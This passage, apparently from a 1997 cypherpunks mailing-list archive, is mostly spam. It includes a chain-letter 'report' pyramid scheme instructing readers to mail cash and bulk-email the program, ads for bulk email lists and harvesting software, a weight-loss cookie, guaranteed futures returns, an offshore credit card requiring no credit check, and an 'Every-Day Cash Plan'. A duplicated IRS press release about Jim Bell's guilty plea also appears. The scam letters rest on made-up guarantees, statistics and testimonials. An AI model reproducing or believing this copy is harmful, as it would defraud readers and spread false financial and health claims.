WHAT WOULD HAPPEN IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF
ONLY 2,000.  Believe me, many people will do that and more! By the way, your
cost to participate in this is practically nothing. You obviously already
have an internet connection
and e-mail is FREE!!!  REPORT# 3 will show you the best methods for bulk
emailing and purchasing email lists.


THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not require
you to come into contact with people, do any hard work, and best of all, you
never have to leave the house except to get the mail. If you believe that
someday you will get that big break that you've been waiting for, THIS IS
IT! Simply follow the instructions, and your dream will come true. This
multi-level email marketing program works perfectly...100% EVERYTIME!!!
Email is the sales tool of the future. Take advantage of this
non-commercialized method of advertising NOW! The longer you wait, the more
people will be doing business using email. Get your piece of this action!!!


MULTI-LEVEL MARKETING (MLM) has finally gainEd respectability. It is being
taught in the Harvard Business School, and both Stanford Research and the
Wall Street Journal have stated that between 50% and 65% of all goods and
services will be sold throughout Multi-level Methods by the late 1990's.
This is a Multi-Billion Dollar industry and of the 500,000 millionaires in
the US, 20% (100,000) made their fortune in the last several years in MLM.
Moreover, statistics show 45 people become millionaires everday through
Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Marketing Business, have a method of raising capital that
REALLY WORKS 100% EVERY TIME. I am sure that you could use $50,000 to
$125,000 in the next 20 to 90 days. Before you say "BULL", [please read the
program carefully.]


This is not a chain letter, but a perfectly legal money making opportunity.
Basically, this is what we do: As with all multi-level business, we build
our business by recruiting new partners and selling out products for EVERY
dollar sent. YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are
not involved in personal selling. You do it privately in your own home,
store or office.


This is the GREATEST Multi-level Mailorder Marketing anywhere:

Step(1)  Order all FOUR 4 REPORTS listed by  NAME AND NUMBER. Do this by
ordering the REPORT  from each of the 4 names listed on the next page. For
each REPORT, send $5 cash and a SELF-ADDRESSED,STAMPED envelope (BUSINESS
SIZE#10) to the person listed for the SPECIFIC REPORT. International orders
should also include $1 extra for postage. It is essential that you specify
the NAME and NUMBER of the report requested to the person you are ordering
from. You will need ALL FOUR 4 REPORTS because you will be REPRINTING and
RESELLING them. DO NOT alter the names or sequence other than what the
instructions say. IMPORTANT:  Always provide same day service on all orders.

STEP(2) Replace the name and address under Report# 1 with yours, moving the
one that was there down to REPORT# 2. Drop the name and address under
REPORT#  2 to REPORT# 3, moving the one that was there down to REPORT# 4.
The name and address that was under REPORT# 4 is dropped from the list and
this party is no doubt on the way to the bank. When doing this, make certain
that you type the names and addresses  ACCURATELY! DO NOT MIX UP MOVING
PRODUCT/REPORT POSITIONS!!!


STEP(3)  Having made the required changes in the NAME list, save it as a
(.txt) file in its own directory to be used with whatever email program you
like. Again, REPORT# 3 will tell you the best methods of bulk emailing and
acquiring email lists.


STEP(4)  Email a copy of the entire program (all of this is very important)
to everyone whose address you can get your hands on. Start with friends and
relatives since you can encourage them to take advantage of this fabulous
money-making opportunity. Thats what I did. And they love me now, more than
ever. Then, email to anyone and everyone! Use your imagination! You can get
email addresss from companies on the internet who specialize in email
mailing lists. These are very cheap, 100,000 addresses for around $35.00.

IMPORTANT: You won't get a good response if you use an old list, so always
ask for a FRESH,  NEW list. You will find out where to purchase these lists
when you order the FOUR 4 REPORTS.


ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!!!

REQUIRED REPORTS

****Order each REPORT by NUMBER and NAME****

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE AND $5 CASH FOR EACH ORDER
REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER

______________________________________________________________________REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

CONTINENTAL ENTERPRISES
P.O. BOX 1671
VENICE, CA. 90291

(includes free Bulk Emailer)

______________________________________________________________________

REPORT# 2

"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT# 2 FROM:

FUTUREVIEW
24-4 VERMONT VIEW DR.
WATERVLIET, NY 12189-1029

______________________________________________________________________
REPORT# 3

"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT# 3 FROM:

M.O.C. MARKETING
P.O. BOX 146
GAITHERSBURG, MD 20884-0146

______________________________________________________________________

REPORT# 4

"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT# 4 FROM:

AUMAKUA ENTERPRISES
P.O. BOX 69
MAGNOLIA, N.J.  08049

______________________________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You too,
will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing.

To be financially independent is FREE. Free to make financial decisions as
never before. Go into business, get into investments, retire or take a
vacation. No longer will a lack of money hold you back,


However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it. It is much easier to say "NO"
than "YES", and this is the question that you must answer. Will YOU ignore
this amazing opportunity or will you take advantage of it ? If you do
nothing, you have indeed missed something and nothing will change. Please
re-read this material, this is a special opportunity. If you have any
questions, please feel free to write to the sender of this information. You
will get a prompt and informative reply.


My method is simple. I sell thouands of people a product for $5 that costs
me pennies to produce and email. I should also point out that this program
is legal and everyone who participates WILL make money. This is not a chain
letter or pyramid scam. At times you have probably received chain letters,
asking you to send money, on faith, but getting NOTHING in return, NO
product what-so-ever!! Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.


You are offering a legitimate product to your people. After they purchase
the product from you, they reproduce more and resell them. Its simple free
enterprise. As you learned from the enclosed material, the PRODUCT is a
series of  4 FINANCIAL AND BUSINESS REPORTS. The information contained in
these REPORTS will not only help you in making your participation in this
program more rewarding, but will be useful to you in any other business
decisions you make in the years ahead. You are also buying the rights to
reprint all of the REPORTS, which will be ordered from you by those to whom
you mail this program. The concise one and two page REPORTS you will be
buying can easily be reproduced at a local copy center for a cost of about 3
cents a copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my mind to
participate in this program. But conservative as I am, I decided that the
initial investment was so little that there was no way that I could not get
enough orders to at least get my money back. BOY,was I ever surprised when I
found my medium sized post office box crammed with orders!  I will make more
money this year than any ten years of my life before."
                        
                                                      Mary Riceland,
Lansing, MI.


TIPS FOR SUCCESS

Send for your FOUR 4 REPORTS immediately so you will have them when the
orders start coming in. When you receive a $5 order, you  MUST send out the
product/service to comply with US Postal and Lottery laws. Title 18 Sections
1302 and 1341 specifically state that: "A PRODUCT OR SERVICE MUST BE
EXCHANGED FOR MONEY RECEIVED".


WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.     Name your new company. You can use your own name if you desire.

2.     Get a Post Office Box (preferred)

3.     Edit the names and addresses on the program. You must remember your
name  
        and address go next to REPORT# 1 and the others all move down one,
with the
        fourth one being bumped OFF the list. 

4.     Obtain as many email addresses as possible to send until you receive the 
        information on mailing list companies in REPORT# 3.

5.     Decide on the number of programs you intend to send out. The more you
send,       
        and the quicker you send them, the more money you will make.

6.     After mailing the programs, get ready to fill the orders.

7.     Copy the four 4 REPORTS so you are able to send them out as soon as
        you receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY SERVICE
        ON ORDERS YOU RECEIVE!

8.     Make certain the letter and reports are neat and legible.


YOUR GUARANTEE


The check point which GUARANTEES your success is simply this: you must
receive 15-20 orders for REPORT# 1. This is a must!!! If you don't within to
weeks, email out more programs till you do. Then a couple of weeks later you
should receive at least 100 orders for REPORT# 2, if you don't, send out
more programs till you do. Once you have recieved 100 or more orders for
REPORT# 2 (take a deep breath) you can sit back and relax, because YOU ARE
GOING TO MAKE AT LEAST $50,000. 
Mathematically it is a proven guarantee. Of those who have participated in
the program and reached the above GUARANTEES-ALL have received their $50,000
goal.
Also,remember, every time your name is moved down the list you are in front
of a different REPORT, so you can keep track of your program by knowing what
people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING:"
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT 
FOR THE REST OF YOUR LIFE."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 91240053@26905.com
Date: Wed, 16 Jul 1997 00:28:59 -0700 (PDT)
To: you@sicsemper23.com
Subject: Create your own Screen Savers!
Message-ID: <165033768544.VXV21771@sicsemper23.com>
MIME-Version: 1.0
Content-Type: text/plain


We are contacting you because you are an active PC user.  We wish to
 make you aware of a powerful and easy to use screen saver design tool
 for Windows 3.x and Windows 95 called Creator.
 
 Our software offers you the ability to personalize your PC with ease
 and develops professional screen savers with support for graphics, sound, animations and over 35 different wipe transitions.
 
 You can examine Creator for FREE by going to our Internet Web Site.  
 Download the shareware copy now and see the power and ease-of-use. 
 Take advantage of our special limited time offer Creator personal retails for $29.95 US 
 now only $1
 
 If you are interested in reading more about how to personalize your
 PC with Creator, we have included detailed information in the
 remainder of this message.
 
 Sincerely Yours,
 Curtis Reid
 PromoWare Corp.
 
 Creator develops custom multemedia screen savers for your personal PC. Creator has been recognized as the most powerful screen saver authoring tool on the market today.
 
 The software is compatible with all common IBM graphic file formats including JPEG, GIF, PCX, and BMP. Creator also supports many popular sound and animation file formats, including MID and WAV (sound), AVI, FLI, and FLC (animation) formats.
 
 Creator's support for animation and sound allows you to create stunning multimedia screen savers. These powerful features allow you to create musical screen savers of your favorite musical artists. Use images of family, pets, or any favorite images to create personalized custom screen savers!
 
 Some of Creator's additional features include an easy to use graphic scheduler, optional file compression, Health Watch (regulates monitor use for long term eye safety, and helps prevent computer related problems such as Carpul tunnel syndrome), and over 35 different screen transitions.
 
 Check out our special Limited Offer - Creator Personal retails for
 $29.95 US, now only $19.95 US until July 30, 1997.
 
Order Creator by:

 BUY CREATOR NOW at http://www.promoware.sk.ca/creator
 Phone: 1-800-463-9237
 Fax: (306) 652-1955
 We accept both VISA and Master Card.
 
 email: support@promoware.sk.ca
 
 This is the only notice you will receive regarding Creator.  There
 is no need to request removal from our mailing list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 01093775@03416.com
Date: Thu, 17 Jul 1997 00:10:39 -0700 (PDT)
To: Friends@public.com
Subject: Cookie that help you lose wieght!!!
Message-ID: <GH1865472727.46528754@gh.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
COOKIES THAT HELP YOU LOSE WEIGHT!!!

Dear Friend,

No, there isn't a misprint on the subject line. There is a cookie out there which actually helps you lose weight. I have found this amazing product and
I'm willing to share this miracle with everyone.

Do you like cookies? I'm sure there are many of you out there who love cookies. But aren't you concerned about the Fat, Cholesterol and Calories that 
get digested by you body as you enjoy a delicious cookie?

How about those Fat free, Cholesterol free cookies? Sure, they don't have the fat and cholesterol which you don't want, but it still has the calories which 
can add up.

So let me introduce to you a cookie which can actually help you LOSE WEIGHT! You can use this cookie as a healthy snack or as a weight lost program.

The cookie company creates the only FAT BURNING COOKIE in the world by mixing a 5000 year old Chinese herb with a delicious tasting cookie.
This thermogenic herb helps rev up your metabolism to help you BURN FAT and CONTROL YOUR APPETITE. The Chinese have been using this
herb on it's own for thousands of years as a diet aid, and now you too can take advantage of this amazing herb in a HIGH FIBER, 100%  ALL NATURAL COOKIE. 
This cookie also TASTE GREAT! It's actually moist and flavorful.

You can have this cookie as a great tasting healthy snack, with the added all natural benefits of weight lose, or you can use it by itself as a diet program.
The cookie company guarantees, no matter how many diets have failed you before, you are guaranteed not to fail this time. The cookies are 100% guaranteed
to succeed in your WEIGHT LOST program, or your money would be gladly refund.

Why don't you find out yourself about this AMAZING product? You really have NOTHING TO LOSE BUT FAT. ACT NOW and find out how ONE COOKIE A DAY 
CAN GIVE YOU THE BODY YOU'VE ALWAYS DREAMED OF!

To receive more information about this amazing cookie, and the cookie diet, please send three ($3) dollars cash along with your name and address to:-

Cookie Dept. # 23918
PO BOX 180
Cypress, CA 90630

Sincerely yours,
your friend
The Cookieman


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 75825118@cris.com
Date: Wed, 16 Jul 1997 22:32:52 -0700 (PDT)
To: 14225714@cris.com
Subject: WE MAKE HUGE PROFITS!!! FACT!
Message-ID: <4751238769089.GAA22134@cris.com>
MIME-Version: 1.0
Content-Type: text/plain


(Removal Instructions At Bottom Of Message..) 


          <><> We Offer Outstanding Trading Opportunities <><>             

                 UP $10,400 IN 5 TRADING SESSIONS, FACT!!
                 UP $10,400 IN 5 TRADING SESSIONS, FACT!!
                 UP $10,400 IN 5 TRADING SESSIONS, FACT!!

Did you know, we were featured in Futures Magazine Special S&P 
Daytrading Issue 6/97...

Our Intermarket S&P Daytrading Managed Account is UP SUBSTANTIALLY
year to date...FACT!!

The following is a short real-world example of our trading system:

6/10/97-$600 gain  6/11/97-$300 loss  6/12/97-$125 loss  
6/13/97-$1700 loss 6/19/97-$1200 gain 6/23/97-$2300 gain
6/24/97-$3000 gain 6/30/97-$2635 gain 7/01/97-$1675 gain
7/02/97-$2375 loss 7/09/97-$1075 loss 7/10/97- flat

As you can see we offer OUTSTANDING profit possibilities for those
individuals who have risk capital and seek greater returns. We are
licensed with the NFA and CFTC. Our track record speaks for itself.
Our minimum is $15k per one contract. Please leave your name and fax
number at 212-726-8896 and we will be happy to get you all the info 
promptly!

We are the undisputed leader in the Futures Industry in creating,
finding and working with the top Futures Managed Trading Systems in the 
WORLD! ALL our Intermarket trading systems are designed to offer
outstanding and consistent returns! No matter what your trading style, 
our Managed Accounts will meet your objectives... GUARANTEED!!

Call our HOTLINE FREE everyday at 4:30pm EST at 212-726-8896 and 
hear exactly what we did in the markets with all our clients money. Win, 
lose or draw, we tell it like it is EVERYDAY. Then leave your name 
and fax number and we will fax you our 5 year history AND the EXACT 
trades that have been taken since 1/27/97 in our Intermarket S&P Daytrading 
System..It's that simple. 

                         CALL 212-726-8896 NOW!!

    Leave your NAME & FAX NUMBER...You won't be disappointed, GUARANTEED! 


                 We offer  **HUGE POTENTIAL**.....FACT!!!!

                         CALL 212-726-8896 NOW!!

Futures Trading Involves Risk, Understand The Risk BEFORE You Begin Trading!

Thank You,

212-726-8826


** For removal from any of our future mailouts, you need send only a blank e-mail to:

tri@answerme.com

.Sorry for the intrusion.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: candy@mail2.24hrplaymates.com
Date: Wed, 16 Jul 1997 21:39:42 -0700 (PDT)
To: free5live@hotmail.com
Subject: adults only
Message-ID: <18725478612534@mail2.24hrplaymates.com>
MIME-Version: 1.0
Content-Type: text/plain


TRY US OUT FOR FREE!!!
See and talk to a live person on your computer screen.
Not a video!  Not prerecorded!  This is live!!!
Our models will obay your every cummand, we're willing to prove it
by giving you a free 5 minute preview.
Give it a try, it's free!
  - CLICK HERE
xxxx




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Date: Fri, 18 Jul 1997 15:47:16 -0700 (PDT)
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Message-ID: <199707171628.MAA02724@net.insp.irs.gov>
MIME-Version: 1.0
Content-Type: text/plain




					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Date: Fri, 18 Jul 1997 15:51:19 -0700 (PDT)
To: Interested-Parties@net.insp.irs.gov
Subject: Something of Interest
Message-ID: <199707171629.MAA02733@net.insp.irs.gov>
MIME-Version: 1.0
Content-Type: text/plain




					United States Attorney
					Western District of Washington

FOR IMMEDIATE RELEASE
July 18, 1997

JAMES D. BELL PLEADS GUILTY TO OBSTRUCTING THE IRS AND USING FALSE SOCIAL
SECURITY NUMBERS

United States Attorney Kate Pflaumer announced that JAMES DALTON BELL, 39,
pleaded guilty today in the federal court in Tacoma to two felony charges.
BELL, a resident of Vancouver, Washington, pleaded guilty to obstructing and
impeding the Internal Revenue Service (IRS), and to falsely using a social
security number with the intent to deceive.  United States District Court
Judge Franklin D. Burgess presided over today's proceedings.

The charges stem from an investigation initiated in October, 1996 by IRS
Internal Security Inspectors into reports that BELL was gathering the names
and home addresses of IRS employees. In previous court hearings, IRS
Inspectors testified that BELL had obtained the names and home addresses of
70 IRS employees as part of  "Operation LocatIRS." In the eight page plea
agreement signed by BELL, he acknowledged that he had gathered the names and
addresses of the IRS employees in order to intimidate them in the
performance of their official duties.

During the course of their investigation, IRS Inspectors discovered that
BELL was advocating a scheme called "Assassination Politics", whereby
persons would be rewarded with "digital cash" for killing certain
undesirable people.  BELL identified these undesirables as government
employees, such as IRS employees, who would be intimidated from enforcing
internal revenue laws for fear of being assassinated.  In the plea
agreement, BELL admitted that he suggested using "Assassination Politics" as
an enforcement mechanism for the "Multnomah County Common Law Court", and
that this was part of his effort to obstruct and impede the enforcement of
internal revenue laws.  In affidavits previously filed in this case, IRS
investigators identified BELL as a participant in the "Multnomah County
Common Law Court", which was described as a self-appointed anti-government
extremist group which purports to hold "trials" of IRS and other Government
employees for the performance of their official duties.  The affidavits
indicated that in January, 1997 the "Multnomah County Common Law Court" held
a "trial" of IRS and other Government officials.  

In the plea agreement, BELL also admitted that on March 16, 1997, he
conducted a chemical "stink bomb" attack on the IRS office in Vancouver,
Washington, using the noxious chemical mercaptan.  In affidavits filed with
the Court, IRS Inspectors tied BELL to two previous mercaptan attacks
against non-government targets: one being a lawyer's office in 1984, and the
other a vehicle in 1989.  The IRS investigators also linked BELL to two
purchase orders for noxious chemicals, one in 1994 and one in 1996.
According to the plea agreement, the attack on the IRS office resulted in a
cost to the government of $1,359, and caused a number of IRS employees to
have to leave work.  In an affidavit previously filed in this case, IRS
Inspectors indicated that the mercaptan attack may have been linked to the
February 20, 1997 seizure of BELL's vehicle by the IRS for unpaid taxes.

As part of the plea agreement, BELL also admitted that he used several
different social security numbers in order to hide assets from the IRS and
thus to impede the IRS's ability to collect taxes he owed and to prevent the
IRS from levying his wages.

Federal agents had previously executed two search warrants on BELL's
residence.  On April 1, 1997, IRS agents seized computers, documents, and
firearms during a search.  In a follow-up search, the Environmental
Protection Agency seized a variety of dangerous chemicals which had been
discovered during the execution of the  IRS warrant.  BELL was arrested by
IRS Inspectors on May 16, 1997.  BELL continues to be held in custody based
on a May 23, 1997 ruling by Magistrate Judge J. Kelley Arnold that BELL
posed a danger to the community and was a flight risk.

BELL faces a maximum sentence of three years in prison and a $250,000 fine
for the obstruction charge, and five years and a $250,000 fine for using a
phony social security number.

The IRS received assistance in the investigation of BELL from the Portland
Police Bureau, Oregon Department of Justice, Oregon State Police, Federal
Bureau of Investigation, and the Vancouver, Washington Police Department.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jackimg@hotmail.com
Date: Thu, 17 Jul 1997 12:02:53 -0700 (PDT)
To: friend@public.com
Subject: The information you requested.
Message-ID: <199706190025.GAA08056@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


Thank you for your recent inquiry.  Here is the
information you requested:

Emailing Works - Put It To Work
For You - This Special Can Put You Into 
Business Or Promote Your Existing 
Internet Business.

For a limited time only:

****CD Rom Email Addresses Lists 
With Over 25,000,000 Addresses
Only $199

****CD Rom - 500+ Reports, Books & Legal
Forms (With Reprint Rights To Put You Into Your
Own Home-Based Information Business Overnight)
Only $199

****Complete Bulk Email Software Package
(Includes both Emailing Software and
"Extraction" Software - Extract Your Own
Specialty Lists With Keyword Search Of The
WWW or Extract Your List From Newsgroups)
Only $399

Home-Based Business Package Includes All Three
*Complete Bulk Email Software Package
*CD Rom - 25 Million Email Addresses
*CD Rom - Reports & Reprint Rights

$797 Value If Purchased Separately, But

During This Exciting Summer Promotion,

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Call Today To Order - MC & VISA
Accepted - Shipping Worldwide - Don't
Miss Out On This Special

812-597-1000  (Ask for Offer #28)

We reserve the right to terminate this
offer at any time, without notice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 95455180@zignzag.com
Date: Thu, 17 Jul 1997 20:41:54 -0700 (PDT)
To: Friend@public.com
Subject: Credit Card$$$  NO Credit Check,,,,,,Make MoNeY!!
Message-ID: <3472654.0219GAA@zignzag.com>
MIME-Version: 1.0
Content-Type: text/plain


=> $5000 Major Credit Card With Absolutely NO CREDIT CHECK!
=> Don't Even Need A Social Security Number!

I hope this information will be helpful to you.
You will not receive any more emails from me.  
If you want removed just reply with remove as your subject.

Thank you for your time

=> No Gimmicks - New Offshore Banking Venture!
=> Seeing Is Believing! Go to-
=> http://zignzag.com/pages/credit.htm
=> email  tpn@zignzag.com

Offshore Banking Consortium will revolutionize 
credit card market worldwide by offering a major
credit card to all comers.No credit check of any kind!

Literally ANYONE, anywhere in the world qualifies!

They will approve you for a $5000 card, or send you $500
if you are not approved! When they say everyone, they mean it!

Get your card now and earn income referring others. This has
just been released and will be advertised heavily in the
coming weeks.

Print your simple application now
=> http://zignzag.com/pages/app.htm

OR
=> email  kallen@zignzag.com

     ________________________________________________       
       __|          New Credit Industry Is Born Offshore!          |__    
      (___O)             GMG Offshore Credit Cards                (O___)  
     (_____O)                     Presented By:                        (O_____)   
     (_____O)                                                                   (O_____) 
            (__O)  => http://zignzag.com/pages/credit.htm  (O__)  
    |_________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: entreprenuers@juno.com
Date: Fri, 18 Jul 1997 06:29:28 -0700 (PDT)
To: entreprenuers@home_employ.net
Subject: $140/day, Full 90 Day Guarantee!!!
Message-ID: <011297055501222@g_fantasm.com>
MIME-Version: 1.0
Content-Type: text/plain



(***This is a one time only, limited offer.  You will not receive it again.  If I
do not hear from you, your name is automatically removed from my list.  Due
to overwhelming response, I must also limit the number of people allowed in
my program to preserve market effectiveness.***)

ALL I DO IS MAIL OUT 10 OF THE EXACT SAME SALES LETTER EVERY DAY!!    
                   
That is all that I do! I earn $140, $200, even $250 and more a day mailing out
the exact same sales letter. There is absolutely no catch or crazy gimmick
involved here, I promise you. This has nothing whatsoever to do with any 
ridiculous envelope stuffing program, illegal chain-letter scam, get rich quick
or worthless multi-level scheme!
 
There is not an easier or simpler way to make $140+ a day than this...
-- there can't be -- it's impossible! If you would like to retire on $140, $200, 
even $250 and more a day working only 1 hour each day then listen up...
  
I tried every money making plan under the sun. after three years of constant
attempts at striking it rich, I had done nothing but strike out.
 
I tried multi-level marketing... I failed!    
I tried chain letters... They failed me!
I tried envelope stuffing... What a joke!
I tried nine other various business ventures...
  
I was a fool. I didn't make much money. I can admit it, I was not the greatest
business person. I needed a way of making money that couldn't fail.
 
I worked hard about 50 hours a week cleaning houses. Many of my
customers were very wealthy. One of which was a thirtyish guy who drove
around in a Ferrari Testarossa. After cleaning his home he gave me the 
usual $20.00 tip and I asked him what he thought of the soap business. He 
started laughing so hard.

I'll never forget what he said, " Get a clue friend. You want to sell soap door
to door?  Did the fumes from your window cleaner go to your head or
something?  Someday when your serious about making money...
-- REAL Money -- call me and I will take you to school." I told him that I was
ready now and he said, " I don't have time today, but think about this. Why
sell soap?

People all over town sell it. No one could really care less where they got it
from.  Give people something that they want. I mean want bad, and be the 
only one with it. Think about that and come by the house tomorrow morning."
As he drove away, he stopped, smiled and said, " Wake up pal, valuable 
information sells."  I was dumbfounded. What did he mean? What was he 
talking about?
  
The next morning he gave me the information that would change my life!  In
thirty minutes he showed me a little known method that anyone can use to 
start making over $140 a day. At first I was skeptical. Who wouldn't be? His 
proven method was like nothing I had ever seen or heard of before.
  
Now I make over $140 a day working from home, at my leisure. It's so 
simple.  I sell information in a unique and exciting way. Every body wants it, 
only I can provide it!  I have even started my own little business doing 
exactly what I have described.  I have NEVER made less than $140 a day!
Most of the time it is much more...
 
"$2,500 a month "Guaranteed!!"  All you have to do is mail out my 
special sales letter which will be sent to you. You simply mail out 10 of 
these letters every day! ( 10 letters mailed = 7 responses). What I am trying
to say here is that my special sales letter pulls 70% orders.
 
Almost every sales letter you mail will bring back $20!  Other direct mailings 
get only 2% - 3% sales response, we get up to 70%! That's correct! This 
sales letter is a powerful money magnet. It's success has been fantastic. A 
test of your own will show that you will receive at least 7 customers for every
10 letters that you mail. Fantastic but true. Now you can make a fortune all
year round... every year.

The cost of my "Every-Day Cash Plan" is only $19.95, but it is worth much 
more than that because of it's success. Don't let the price of my "Every-Day 
Cash Plan" fool you. This is opportunity knocking! Don't pass it by. You will 
not receive this offer again! I'll send you everything to help you start making 
big money right away. I've compiled all of the information that you need to 
succeed in this business.
 
Try this test... send out 50 letters a week for a month... that's 200 sales 
letters. You will receive about 140 responses on a steady flow. This 
corresponds to about $3,200 a month if you only  send out 50 letters a week!
The success of the "Every-Day Cash Plan" will blow your mind when you ar
e receiving $20 checks and money orders by the dozen every day!! $2,500
a month Guaranteed!!
 
So if you'd like to earn thousands from "Every-Day Cash Plan"... take that first
important step. Simply fill in the order form below. I'm here waiting to help you
every step of the way.


***FREE BONUS***FREE BONUS***FREE BONUS***

For all orders received before:  July 26, 1997, I am going to include a
Professional Mass E-Mail program to help you in your Internet business.
This is the same program used by the majority of today's most successful
entreprenuers on the Internet.  If you were to purchase it seperately, it would
cost you $295.00 U.S. dollars.  I want you to succeed!

Sorry "mac" users, software included in this package NOT "mac" compatible.

Users must have an IBM compatible computer with Windows installed,
any version.  Internet access is also required, WebTV NOT compatible.

***Send all correspondance to:  success@gox.com.***
___________________________________________________________
                                           NO RISK ORDER FORM

I accept personal checks, business checks, money orders, Visa, Discover,
Mastercard, and American Express.
 
Make check or money order payable and mail to:

Mrs. Dianne Flanagan
The G.O.X. Group
6549 Mission Gorge Road
Suite 279
San Diego, California
92120
                                                                              
 
Dear Dianne, I want to receive $140, $200, even $250 and more every time
I mail out 10 of the exact same sales letter that you will supply. Please rush
me your "Every-Day Cash Plan" By first class  mail and if I don't make at
least $140 a day mailing your special sales letter, I can return your materials
within 90 days for a complete refund. On that basis, I have enclosed $19.95
U.S. plus $3.50 U.S. first class mail. ( total $23.45 U.S.) Visa, Mastercard, 
Discover, American Express, check or money orders only.  Please Do Not 
Send Cash!

Credit Card orders processed 24 hours per day, seven days per week!
Simply e-mail back the completed order form below.  

***Send all e-mail orders to:  orders@gox.com.***

Thank you!

(If paying by credit card, please make sure that your Name and Address
information is the same as on your credit card and statement.  We cross 
validate for your protection.  Thank You.)

Note:  Credit Card Fraud Is A Felony And We Will Prosecute All Offenders! 
 
Name:  _______________________________________________________
 
Address:  _____________________________________________________
 
City: _________________________________________________________
 
State/Province:  __________________ Zip/Postal code:  _______________
 
Country if other than U.S.:  _______________________________________ 
 
E-mail address:________________________________________________

